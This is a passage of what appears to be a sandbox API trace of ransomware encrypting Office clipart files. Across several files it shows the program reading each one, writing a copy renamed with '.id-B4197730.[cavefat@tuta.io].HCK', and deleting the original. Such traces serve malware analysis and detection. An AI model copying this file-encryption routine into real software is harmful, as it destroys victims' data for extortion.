[0166.777] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0166.777] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105414.WMF") returned 68 [0166.777] lstrlenW (lpString=".1cd") returned 4 [0166.777] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0166.777] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105414.WMF") returned 68 [0166.777] lstrlenW (lpString=".jpg") returned 4 [0166.777] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0166.778] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0166.778] lstrlenW (lpString="J0105504.WMF") returned 12 [0166.778] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105504.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105504.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0166.780] GetFileSizeEx (in: hFile=0x39c, lpFileSize=0x324ff14 | out: lpFileSize=0x324ff14*=4148) returned 1 [0166.780] CloseHandle (hObject=0x39c) returned 1 [0166.780] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105504.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105504.wmf")) returned 0x220 [0166.785] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105504.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105504.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0166.787] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105504.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105504.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0166.798] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0166.798] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0166.798] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105504.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105504.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0166.816] GetLastError () returned 0x0 [0166.816] ReadFile (in: hFile=0x370, lpBuffer=0x3c3c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesRead=0x324fecc*=0x1034, lpOverlapped=0x0) returned 1 [0166.818] WriteFile (in: hFile=0x364, lpBuffer=0x3c3c020*, nNumberOfBytesToWrite=0x1040, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesWritten=0x324fc94*=0x1040, lpOverlapped=0x0) returned 1 [0166.819] ReadFile (in: hFile=0x370, lpBuffer=0x3c3c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesRead=0x324fecc*=0x0, lpOverlapped=0x0) returned 1 [0166.819] WriteFile (in: hFile=0x364, lpBuffer=0x3c3c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesWritten=0x324fc94*=0xec, lpOverlapped=0x0) returned 1 [0166.819] SetEndOfFile (hFile=0x364) returned 1 [0166.839] CloseHandle (hObject=0x364) returned 1 [0166.841] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0166.841] SetEndOfFile (hFile=0x370) returned 1 [0166.863] CloseHandle (hObject=0x370) returned 1 [0166.866] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105504.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0166.866] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105504.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105504.wmf")) returned 1 [0166.873] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105504.WMF") returned 68 [0166.873] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105504.WMF") returned 68 [0166.873] lstrlenW (lpString=".doc") returned 4 [0166.873] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0166.873] lstrlenW (lpString=".docx") returned 5 [0166.873] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0166.873] lstrlenW (lpString=".pdf") returned 4 [0166.873] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0166.873] lstrlenW (lpString=".xls") returned 4 [0166.873] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0166.873] lstrlenW (lpString=".xlsx") returned 5 [0166.873] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0166.873] lstrlenW (lpString=".ppt") returned 4 [0166.873] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0166.873] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105504.WMF") returned 68 [0166.873] lstrlenW (lpString=".zip") returned 4 [0166.873] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0166.873] lstrlenW (lpString=".rar") returned 4 [0166.873] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0166.873] lstrlenW (lpString=".bz2") returned 4 [0166.873] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0166.873] lstrlenW (lpString=".7z") returned 3 [0166.873] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0166.874] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105504.WMF") returned 68 [0166.874] lstrlenW (lpString=".dbf") returned 4 [0166.874] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0166.874] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105504.WMF") returned 68 [0166.874] lstrlenW (lpString=".1cd") returned 4 [0166.874] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0166.874] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105504.WMF") returned 68 [0166.874] lstrlenW (lpString=".jpg") returned 4 [0166.874] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0166.874] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105504.WMF") returned 68 [0166.874] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105504.WMF") returned 68 [0166.874] lstrlenW (lpString=".doc") returned 4 [0166.874] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0166.874] lstrlenW (lpString=".docx") returned 5 [0166.874] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0166.874] lstrlenW (lpString=".pdf") returned 4 [0166.874] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0166.874] lstrlenW (lpString=".xls") returned 4 [0166.874] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0166.874] lstrlenW (lpString=".xlsx") returned 5 [0166.874] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0166.874] lstrlenW (lpString=".ppt") returned 4 [0166.874] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0166.874] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105504.WMF") returned 68 [0166.874] lstrlenW (lpString=".zip") returned 4 [0166.874] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0166.874] lstrlenW (lpString=".rar") returned 4 [0166.874] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0166.874] lstrlenW (lpString=".bz2") returned 4 [0166.874] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0166.874] lstrlenW (lpString=".7z") returned 3 [0166.874] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0166.874] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105504.WMF") returned 68 [0166.874] lstrlenW (lpString=".dbf") returned 4 [0166.874] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0166.874] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105504.WMF") returned 68 [0166.874] lstrlenW (lpString=".1cd") returned 4 [0166.874] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0166.874] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105504.WMF") returned 68 [0166.874] lstrlenW (lpString=".jpg") returned 4 [0166.874] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0166.874] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0166.875] lstrlenW (lpString="J0105530.WMF") returned 12 [0166.875] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105530.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105530.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0166.879] GetFileSizeEx (in: hFile=0x378, lpFileSize=0x324ff14 | out: lpFileSize=0x324ff14*=7384) returned 1 [0166.879] CloseHandle (hObject=0x378) returned 1 [0166.879] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105530.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105530.wmf")) returned 0x220 [0166.883] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105530.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105530.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0166.885] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105530.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105530.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0166.895] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0166.895] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0166.895] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105530.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105530.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0166.912] GetLastError () returned 0x0 [0166.912] ReadFile (in: hFile=0x39c, lpBuffer=0x3c3c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesRead=0x324fecc*=0x1cd8, lpOverlapped=0x0) returned 1 [0166.913] WriteFile (in: hFile=0x394, lpBuffer=0x3c3c020*, nNumberOfBytesToWrite=0x1ce0, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesWritten=0x324fc94*=0x1ce0, lpOverlapped=0x0) returned 1 [0166.915] ReadFile (in: hFile=0x39c, lpBuffer=0x3c3c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesRead=0x324fecc*=0x0, lpOverlapped=0x0) returned 1 [0166.915] WriteFile (in: hFile=0x394, lpBuffer=0x3c3c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesWritten=0x324fc94*=0xec, lpOverlapped=0x0) returned 1 [0166.916] SetEndOfFile (hFile=0x394) returned 1 [0166.923] CloseHandle (hObject=0x394) returned 1 [0166.929] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0166.929] SetEndOfFile (hFile=0x39c) returned 1 [0166.935] CloseHandle (hObject=0x39c) returned 1 [0166.939] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105530.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0166.939] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105530.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105530.wmf")) returned 1 [0166.947] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105530.WMF") returned 68 [0166.947] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105530.WMF") returned 68 [0166.947] lstrlenW (lpString=".doc") returned 4 [0166.947] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0166.947] lstrlenW (lpString=".docx") returned 5 [0166.947] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0166.947] lstrlenW (lpString=".pdf") returned 4 [0166.947] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0166.947] lstrlenW (lpString=".xls") returned 4 [0166.947] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0166.947] lstrlenW (lpString=".xlsx") returned 5 [0166.947] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0166.947] lstrlenW (lpString=".ppt") returned 4 [0166.947] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0166.947] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105530.WMF") returned 68 [0166.947] lstrlenW (lpString=".zip") returned 4 [0166.947] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0166.947] lstrlenW (lpString=".rar") returned 4 [0166.947] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0166.947] lstrlenW (lpString=".bz2") returned 4 [0166.947] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0166.947] lstrlenW (lpString=".7z") returned 3 [0166.947] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0166.947] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105530.WMF") returned 68 [0166.947] lstrlenW (lpString=".dbf") returned 4 [0166.947] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0166.947] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105530.WMF") returned 68 [0166.947] lstrlenW (lpString=".1cd") returned 4 [0166.947] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0166.947] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105530.WMF") returned 68 [0166.947] lstrlenW (lpString=".jpg") returned 4 [0166.947] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0166.947] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105530.WMF") returned 68 [0166.947] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105530.WMF") returned 68 [0166.947] lstrlenW (lpString=".doc") returned 4 [0166.948] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0166.948] lstrlenW (lpString=".docx") returned 5 [0166.948] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0166.948] lstrlenW (lpString=".pdf") returned 4 [0166.948] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0166.948] lstrlenW (lpString=".xls") returned 4 [0166.948] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0166.948] lstrlenW (lpString=".xlsx") returned 5 [0166.948] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0166.948] lstrlenW (lpString=".ppt") returned 4 [0166.948] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0166.948] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105530.WMF") returned 68 [0166.948] lstrlenW (lpString=".zip") returned 4 [0166.948] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0166.948] lstrlenW (lpString=".rar") returned 4 [0166.948] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0166.948] lstrlenW (lpString=".bz2") returned 4 [0166.948] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0166.948] lstrlenW (lpString=".7z") returned 3 [0166.948] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0166.948] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105530.WMF") returned 68 [0166.948] lstrlenW (lpString=".dbf") returned 4 [0166.948] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0166.948] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105530.WMF") returned 68 [0166.948] lstrlenW (lpString=".1cd") returned 4 [0166.948] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0166.948] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105530.WMF") returned 68 [0166.948] lstrlenW (lpString=".jpg") returned 4 [0166.948] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0166.948] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0166.948] lstrlenW (lpString="J0105710.WMF") returned 12 [0166.948] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105710.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105710.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0166.955] GetFileSizeEx (in: hFile=0x39c, lpFileSize=0x324ff14 | out: lpFileSize=0x324ff14*=13808) returned 1 [0166.955] CloseHandle (hObject=0x39c) returned 1 [0166.955] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105710.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105710.wmf")) returned 0x220 [0166.956] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105710.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105710.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0166.959] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105710.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105710.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0166.967] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0166.967] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0166.967] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105710.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105710.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec [0166.979] GetLastError () returned 0x0 [0166.979] ReadFile (in: hFile=0x378, lpBuffer=0x3c3c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesRead=0x324fecc*=0x35f0, lpOverlapped=0x0) returned 1 [0166.982] WriteFile (in: hFile=0x2ec, lpBuffer=0x3c3c020*, nNumberOfBytesToWrite=0x3600, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesWritten=0x324fc94*=0x3600, lpOverlapped=0x0) returned 1 [0166.983] ReadFile (in: hFile=0x378, lpBuffer=0x3c3c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesRead=0x324fecc*=0x0, lpOverlapped=0x0) returned 1 [0166.983] WriteFile (in: hFile=0x2ec, lpBuffer=0x3c3c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesWritten=0x324fc94*=0xec, lpOverlapped=0x0) returned 1 [0166.984] SetEndOfFile (hFile=0x2ec) returned 1 [0166.987] CloseHandle (hObject=0x2ec) returned 1 [0166.990] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0166.990] SetEndOfFile (hFile=0x378) returned 1 [0166.996] CloseHandle (hObject=0x378) returned 1 [0167.001] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105710.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0167.001] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105710.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105710.wmf")) returned 1 [0167.006] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105710.WMF") returned 68 [0167.006] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105710.WMF") returned 68 [0167.006] lstrlenW (lpString=".doc") returned 4 [0167.006] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0167.006] lstrlenW (lpString=".docx") returned 5 [0167.006] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0167.006] lstrlenW (lpString=".pdf") returned 4 [0167.006] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0167.006] lstrlenW (lpString=".xls") returned 4 [0167.006] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0167.006] lstrlenW (lpString=".xlsx") returned 5 [0167.006] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0167.006] lstrlenW (lpString=".ppt") returned 4 [0167.006] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0167.006] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105710.WMF") returned 68 [0167.006] lstrlenW (lpString=".zip") returned 4 [0167.006] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0167.006] lstrlenW (lpString=".rar") returned 4 [0167.006] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0167.006] lstrlenW (lpString=".bz2") returned 4 [0167.006] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0167.006] lstrlenW (lpString=".7z") returned 3 [0167.006] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0167.006] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105710.WMF") returned 68 [0167.006] lstrlenW (lpString=".dbf") returned 4 [0167.006] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0167.006] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105710.WMF") returned 68 [0167.006] lstrlenW (lpString=".1cd") returned 4 [0167.006] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0167.006] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105710.WMF") returned 68 [0167.006] lstrlenW (lpString=".jpg") returned 4 [0167.006] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0167.006] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105710.WMF") returned 68 [0167.006] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105710.WMF") returned 68 [0167.006] lstrlenW (lpString=".doc") returned 4 [0167.006] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0167.006] lstrlenW (lpString=".docx") returned 5 [0167.006] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0167.006] lstrlenW (lpString=".pdf") returned 4 [0167.006] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0167.006] lstrlenW (lpString=".xls") returned 4 [0167.006] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0167.007] lstrlenW (lpString=".xlsx") returned 5 [0167.007] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0167.007] lstrlenW (lpString=".ppt") returned 4 [0167.007] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0167.007] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105710.WMF") returned 68 [0167.007] lstrlenW (lpString=".zip") returned 4 [0167.007] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0167.007] lstrlenW (lpString=".rar") returned 4 [0167.007] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0167.007] lstrlenW (lpString=".bz2") returned 4 [0167.007] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0167.007] lstrlenW (lpString=".7z") returned 3 [0167.007] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0167.007] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105710.WMF") returned 68 [0167.007] lstrlenW (lpString=".dbf") returned 4 [0167.007] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0167.007] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105710.WMF") returned 68 [0167.007] lstrlenW (lpString=".1cd") returned 4 [0167.007] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0167.007] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105710.WMF") returned 68 [0167.007] lstrlenW (lpString=".jpg") returned 4 [0167.007] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0167.007] lstrcmpiW (lpString1=".WMF", 